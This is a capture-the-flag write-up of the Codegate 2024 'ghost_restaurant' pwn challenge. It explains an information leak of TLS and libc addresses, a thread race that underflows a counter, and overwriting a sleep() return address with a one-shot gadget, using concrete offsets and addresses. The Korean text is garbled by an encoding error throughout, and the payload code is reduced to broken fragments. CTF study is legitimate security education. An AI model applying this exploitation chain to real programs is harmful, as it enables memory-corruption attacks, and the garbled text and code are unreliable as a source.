Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)
๋ชฉ์ฐจ
0x00. Introduction
Structure
์ด ์ธ์๋ ์ฌ์ฉ๋๋ ๊ตฌ์กฐ์ฒด๊ฐ ๋ช๊ฐ ์์ง๋ง ๋ฌธ์ ํ์ด์ ์ค์ํ ๊ตฌ์กฐ์ฒด๋ง ์ ๋ฆฌํ์๋ค.
Concept
oven์ ์์ฑํด์ ์ ํํ๋ฉด cook_1928 ์ฐ๋ ๋๊ฐ ์์ฑ๋์ด food๋ฅผ insertํ๊ฑฐ๋ removeํ ์ ์๋ค.
insert ์ ์
๋ ฅํ cook_time๋งํผ์ ์๊ฐ์ด ์ง๋๋ฉด food๊ฐ ์์ฑ๋๋ค. ์ด ๋ ์๊ฐ์ ๊ฐ์์ํค๊ณ ์๊ฐ์ด ๋ค ์ง๋ฌ๋์ง ํ์ธํ๋ ๊ณผ์ ์ start_routine_16B1 ์ฐ๋ ๋๋ฅผ ํตํด ์ด๋ฃจ์ด์ง๋ค.
0x01. Vulnerability
Information Leak
cook_time์ด ๋ค ๋์ด์๋ , remove๋ฅผ ํด์๋ food๊ฐ ์ญ์ ๋ ๋ ๋ค์๊ณผ ๊ฐ์ ๋ก์ง์ ํตํด ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋ณ๊ฒฝ๋๋ค.
;
;
for
์ด ๋ food๊ฐ ๊ฝ ์ฐผ์ ๋๋ food[i + 1]์์ ๋ฐ์ดํฐ๋ฅผ ๋ณต์ฌํ๋ฏ๋ก food ๊ตฌ์กฐ์ฒด ๋ค์ ์์ญ์ ์ค์ํ ๋ฐ์ดํฐ๊ฐ ์๋ค๋ฉด leak์ด ๊ฐ๋ฅํ๋ค.
Race Condition
food์ ๋จ์ ์๊ฐ์ ์ฒดํฌํ๋ start_routine_16B1์ ์ฝ๋๋ฅผ ๋ณด๋ฉด,
void __fastcall __noreturn
left_time์ด 0์ด ๋์ ๋ ํด๋น food ๊ตฌ์กฐ์ฒด ์ดํ์ ๊ตฌ์กฐ์ฒด๋ค์ ํ ์นธ์ฉ ์์ผ๋ก ๋ก๊ฒจ์ฃผ๊ณ food_count๋ฅผ ๊ฐ์์ํจ๋ค.
์ด ์ธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ food๋ฅผ ์ ๊ฑฐํ ์ ์๋๋ฐ cook_1928์ ์ฝ๋๋ฅผ ๋ณด๋ฉด,
void *__fastcall
ํ์ฌ ๋ค์ด๊ฐ์๋ food์ ๋ชฉ๋ก์ ์ถ๋ ฅํด์ฃผ๊ณ tmp์ ์ ๊ฑฐํ food์ ์ธ๋ฑ์ค๋ฅผ ๋ฐ์์ ์ญ์ ํ ํ 26๋ฒ ๋ผ์ธ์ __writefsqword()๋ฅผ ํตํด food_count ๊ฐ์ ๊ฐ์์ํจ๋ค.
์ฌ๊ธฐ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ start_routine_16B1์์ ์๊ฐ์ด ๋ค ๋์ ๋ food_count๋ฅผ ๊ฐ์์ํค๋ ์ฝ๋๊ฐ critical section์ผ๋ก ๊ด๋ฆฌ๋์ง ์๋๋ค. ๋ฐ๋ผ์ cook_1928์ remove ๋ก์ง๊ณผ ๋์์ ์คํ๋ ์ ์๊ธฐ ๋๋ฌธ์ race condition์ด ๋ฐ์ํ๋ค.
cook_1928 | start_routine_16B1 |
|---|---|
if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 ) | |
food_next = &arg->food[j + 1]; | |
food_cur = (__readfsqword(0) + 0x50LL * m - 0x160); | |
food_cur = &arg->food[j]; | |
food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160); | |
memcpy(food_cur, food_next, 0x50); | |
memcpy(food_cur, food_next, 0x50); | |
--*(_QWORD *)arg->count; | |
__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1); |
์์ ๊ฐ์ ๋ฐฉ์์ผ๋ก race condition์ด ๋ฐ์ํ๊ฒ ๋๋ค๋ฉด insert๋ฅผ ํ๋ฒ ํ๋๋ผ๋ ๊ฐ์ ๊ฐ์๊ฐ ๋๋ฒ ์ด๋ฃจ์ด์ ธ food_count์ underflow๊ฐ ๋ฐ์ํ ์ ์๋ค.
0x02. Exploit
Information Leak
food[0]์ ๊ธฐ์ค์ผ๋ก food์ ์ฌ์ด์ฆ์ธ 0x50์ฉ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํ๋ค๋ณด๋ฉด ๋ค์ ์์ญ์ ํ์ธํ ์ ์๋ค.
food[4]์ ํด๋นํ๋ ์์ญ์ ์์ ๊ฐ์ด TLS(Thread Local Storage), heap ์์ญ์ ๋ํ ์ฃผ์์ ์ด ๋ฌธ์ ์์ ํ์ํ์ง๋ ์์ง๋ง canary ๊ฐ์ด ์ ์ฅ๋์ด์๋ค. food๋ ์ต๋ 4๊ฐ๊น์ง insertํ ์ ์์ผ๋ฏ๋ก food[0]~food[3]๊น์ง ์์ฑํ๋ค๊ฐ food[0]์ remove๋ฅผ ํ๋ฉด food[4]์ ๋ฐ์ดํฐ๋ฅผ food[3]์ ๋ณต์ฌํ๋ค. ์ด๋ฐ ์์ผ๋ก food[0]์ 4๋ฒ removeํ๋ฉด food[4] ์์ญ์ ๋ฐ์ดํฐ๊ฐ food[0]~food[3]์ ๋ณต์ฌ๊ฐ ๋๋ค.
์ฐธ๊ณ ๋ก 0x7ffff7da56c0์ ์ ์ฅ๋ 0x7ffff7da56c0๊ฐ TLS ์ฃผ์๋ก, __readfsqword(0)๋ฅผ ์คํํ์ ๋ ๋ฐํ๋๋ ๊ฐ์ด๋ค. ์ด ๊ฐ์ด ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฐ๋๊ฒ ๋๋ฉด __readfsqword(0)์ ๊ฒฐ๊ณผ๊ฐ ๋ฐ๋ ๊ฐ์ผ๋ก ๋ฐํ๋์ด ์ฃผ์ํด์ผ ํ๋ค.
;
for
; // left_time
food.name์ ์ถ๋ ฅ์ %s๋ก ํด์ฃผ๊ธฐ ๋๋ฌธ์ ์ค๊ฐ์ ์๋ \x00๋ค์ ์ฑ์์ฃผ์ด์ผ ํ๋ค. ์ด ์กฐ๊ฑด์ name์ ํ ์ ๊ณ ๋ฅผ ์ ์๋ hidden choice๋ฅผ ํ๋ฉด ํธ์ถ๋๋ read()๋ฅผ ํตํด ํด๊ฒฐํ ์ ์๋ค.
if // hidden
๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค.
=
=
= + 0x3940
= - 0x960
์ด ๋ TLS์ ์์น๊ฐ libc์ ๋ฐ๋ก ์ ์์ญ์ ํ ๋น๋๋ฏ๋ก offset์ ๊ณ์ฐํ๋ฉด libc base๋ ํ๋ํ ์ ์๋ค.
Race Condition
Race condition์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํ sleep time์ ๊ตฌํ๊ธฐ ์ํด brute force๋ฅผ ์ํํ๋ payload๋ฅผ ์์ฑํ๋ค.
=
=
# code for information leak
= 0.95 + / 10000
=
์ค์ง์ ์ผ๋ก๋ information leak์ ์ํํ ํ์ race condition์ ํธ๋ฆฌ๊ฑฐํ๋ฏ๋ก ๊ฐ์ ์ํฉ์ ๋ง๋ค์ด์ฃผ๊ธฐ ์ํด information leak์ ์ํ payload๋ ์ค๊ฐ์ ์์ฑํด์ผ ์ ํํ time์ ๊ตฌํ ์ ์๋ค.
ํธ๋ฆฌ๊ฑฐ ์ฑ๊ณต ์ food_count๊ฐ -1์ด ๋๊ณ ์ด ๋ insert๋ฅผ ํ๋ฉด food[-1]์ ๋ฐ์ดํฐ๋ฅผ ์ธ ์ ์๊ฒ๋๋ค.
food[-1] : 0x00007ffff7da5510 -> name[0x40]
0x00007ffff7da5520
0x00007ffff7da5530
0x00007ffff7da5540
food_count : 0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0] : 0x00007ffff7da5560 -> name[0x40]
0x00007ffff7da5570
0x00007ffff7da5580
0x00007ffff7da5590
0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
0x00007ffff7da55b0
...
TLS : 0x00007ffff7da56c0
...
LIBC : 0x00007ffff7da9000
์ด ๋ ์
๋ ฅํ๋ cook_time์ด food_count ์์น์ ์ฐ์ฌ์ง๊ธฐ ๋๋ฌธ์ cook_time์ 60์ผ๋ก ์
๋ ฅํ๋ฉด food_count๊ฐ 60์ธ ๊ฒ์ผ๋ก ์ธ์๋์ด food๋ฅผ 60๊ฐ ์ถ๋ ฅํด์ค๋ค. ๋ฐ๋ผ์ ํธ๋ฆฌ๊ฑฐ ์ฑ๊ณต ์ฌ๋ถ๋ฅผ ์ถ๋ ฅ๋๋ food์ ๊ฐ์๋ก ํ๋จํ๊ฒ๋ payload๋ฅผ ์์ฑํ๋ค.
๊ทธ ๊ฒฐ๊ณผ ์ ๋นํ sleep time์ ๊ตฌํ ์ ์์๋ค. ๋ค๋ง ์ฌ๋ฌ ๋ฒ ์คํํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ์ด์ ๋๋ฌธ์ธ์ง time window๊ฐ ์กฐ๊ธ์ฉ ๋ฐ๋ฆฌ๋ ๋ชจ์์ด๋ค.
RIP Control
Race condition์ ํธ๋ฆฌ๊ฑฐํ ํ gdb์์ info threads๋ฅผ ํตํด ์ฐ๋ ๋ ์ ๋ณด๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
)
)
)
์ด ์ค 3๋ฒ ์ฐ๋ ๋๊ฐ start_routine_16B1์ด ์คํ๋๋ ์ฐ๋ ๋๋ก, thread 3 ๋ช
๋ น์ ํตํด context๋ฅผ switchํด๋ณด๋ฉด,
)
)
)
)
)
[ | |
์์ ๊ฐ์ด ๋งค ์ด๋ง๋ค left_time์ ๊ฐ์์ํค๊ณ food๊ฐ ์์ฑ๋์๋์ง ํ์ธํ๊ธฐ ์ํด์ clock_nanosleep()์ ์คํํ๊ณ ์๋ค.
๋ํ ์์ leakํ TLS์๋ ๋ค๋ฅธ TLS ์์ญ์ ํ ๋น๋ฐ์ stack์ผ๋ก ํ์ฉํ๊ณ ์๋ค.
Call stack์ ๋ณด๋ฉด sleep() -> nanosleep() -> clock_nanosleep() ์์ผ๋ก ํธ์ถ์ด ๋์๋๋ฐ, ๋ฌด์ธ๊ฐ overwrite๋ฅผ ํ๊ธฐ ์ํด์๋ผ๋ฉด ํธ์ถ ์ฃผ๊ธฐ๊ฐ ๊ธด sleep()์ ํ๊ฒ์ผ๋ก ๋๋ฒ๊น
์ ํ๋ค๋ณด๋ฉด,
)
)
)
)
)
์ด๋ ๊ฒ sleep()์ด ret๋ฅผ ํ๋ ์๊ฐ์ด ์ค๊ณ ์ด ๋ rsp๋ 0x7ffff75a3ce8๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๋ค. ์ด ์ฃผ์๋ ์์ leakํ 0x7ffff7da56c0์ ๋ค๋ฅธ TLS ์์ญ์ ์ฃผ์์ด๊ธด ํ์ง๋ง, TLS ์ฌ์ด์ offset์ด ์ผ์ ํ๊ฒ ํ ๋น์ด ๋์ด offset์ ๊ณ์ฐํด์ฃผ๋ฉด ํด๋น ์์ญ์ ์ ๊ทผํ ์ ์๋ค.
์๋ณธ ๋ฌธ์ ๋ shadow stack์ด ์ ์ฉ๋์ด์์ผ๋ ์ฌ๊ธฐ์์๋ shadow stack์ด ์๋ ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์ด return address๋ฅผ ๋ฎ์ด์ RIP control์ด ๊ฐ๋ฅํ๋ค.
Race condition ํธ๋ฆฌ๊ฑฐ์ ์ฑ๊ณตํ๋ฉด food_count๊ฐ -1์ด ๋๊ณ , ์ด๋ก ์ธํด food[-1].cook_time์ด food_count์ ์์น์ ์ฐ์ด๋ฉด์ ํฐ ๊ฐ์ ๊ฐ๊ฒ ๋๋ค. ๋ฐ๋ผ์ index๋ฅผ ์ ์ ํ ์ด์ฉํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด thread 3์์ ํธ์ถ๋๋ sleep()์ return address์ ๊ฐ์ ์ฐ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
= 0x7ffff7da5560
= 0x7ffff75a3ce0
= // 0x50 + 1
= 0x583dc
= b * 8
+=
๋ง์นจ ํ์ฉํ ์ ์๋ one shot ๊ฐ์ ฏ์ด ์์ด์ one shot ๊ฐ์ ฏ์ ์ฃผ์๋ก ๋ฎ์ด์ฃผ์๋ค.
0x03. Payload
=
=
=
= 0x0000555555554000
=
= f
=
return
return
return
return
return
=
=
=
=
= + 0x3940
= - 0x960
= 0.98 + / 10000
=
=
=
=
=
=
# information leak
=
=
= + 0x3940
= - 0x960
# trigger race condition
# overwrite food_count
= 0x7ffff7da5560
= 0x7ffff75a3ce0
= // 0x50 + 1
# overwrite ret of sleep() in thread 3
= 0x583dc
= b * 8
+=
=
=